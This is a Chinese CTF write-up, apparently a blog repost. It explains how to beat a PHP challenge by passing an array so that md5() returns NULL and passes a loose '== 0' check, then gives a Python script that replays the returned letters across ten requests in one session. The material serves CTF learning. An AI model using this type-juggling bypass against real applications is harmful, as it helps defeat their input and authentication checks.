一道练习python脚本的题(保持SESSION情况下爆破)

https://www.ichunqiu.com/writeup/detail/345

先做一做,然后再看wp

源码

<?php 
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
    
    
  $_SESSION['nums'] = 0;
  $_SESSION['time'] = time();
  $_SESSION['whoami'] = 'ea';
}

if($_SESSION['time']+120<time()){
    
    
  session_destroy();
  //这个每隔120秒换一次,
}

$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];
//这个 mt_rand()是返回随机整数的意思。上面这两行,就是从a-z中任意选两个字符,连接在一起

//substr(string,start,length),
/*如果session的whoami的值和参数value的前两位相等 并 且 value变量的第5位开始往后4位等于0
nums就+1,whoami更新,当nums>=10的时候,echo flag*/
if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
    
    
  $_SESSION['nums']++;                          
  $_SESSION['whoami'] = $str_rands;//两个随机的字母
  echo $str_rands;
}

if($_SESSION['nums']>=10){
    
    
  echo $flag;
}

show_source(__FILE__);
?>

一、学到的其他的知识。。。:

  1. 传参的时候,没有注意看代码,直接传的是字符串,其实应该传入数组的。
  2. 对md5不够敏感,看到md5,有和0比较什么的,要想一想数组绕过,或者0e或者硬碰撞什么的。
  3. 写脚本的时候要注意很多地方,这个题,比如,获取下一次的那两个字符,你要知道他们在哪里,然后再去获取。这个比较需要python的编程能力的
  4. 再就是python脚本的学习了呀

二、开始学习!

这个想要直接传入nums是不现实的。一是他不会这么简单,二是,你好好看代码就知道了。

我们传入value,session中的whoami会与value的前两个比较,

第一次传参:?value=ea
在这里插入图片描述
第二次传参:?value=be
在这里插入图片描述
???没了what**

后来发现需要传递数组value。。
在这里插入图片描述
如果随便的字符串进行md5加密后的5-9位组成的字符串不一定弱等于0. .。
字母开头的字符串 与 0 是弱等于的

var_dump(ac52D)" == 0 //bool(false)

但是数字开头的字符串就不是弱等于的了,

var_dump(5dbaD)" == 0 //bool(false)

所以从后面的判定来看,value就不能够传入字符串,
MD5函数,处理数组的话,会返回NULL,是==0的,所以要用数组来传参数,
所以

在这里插入图片描述

import requests

request = requests.session()

strs=['abcdefghijklmnopqrstuvwxyz']

url = "http://a8a71892d50e42b8a89fdad77056c4bbf57b7c60b3ba4e4a.changame.ichunqiu.com/?value[]=ea"

response = request.get(url=url)
# print(response.text)这个尝试用的,看那个response.text[:2]取前两位,为什么是前两位,因为页面最前面显示
# 的就是前两位是它下一步的字母,这样安排也是为了脚本方便编写。

for i in range(10):
    url_1="http://a8a71892d50e42b8a89fdad77056c4bbf57b7c60b3ba4e4a.changame.ichunqiu.com/?value[]="+response.text[:2]
    response=request.get(url_1)
    print(response.url) #这个输出的是这个http://a8a71892d50e42b8a89fdad77056c4bbf57b7c60b3ba4e4a.changame.ichunqiu.com/?value%5B%5D=ea
    if 'flag{' in response.text:
        print(response.text)

刚开始学习脚本,,,
在这里插入图片描述
然后就有flag了

猜你喜欢

转载自blog.csdn.net/Zero_Adam/article/details/113831027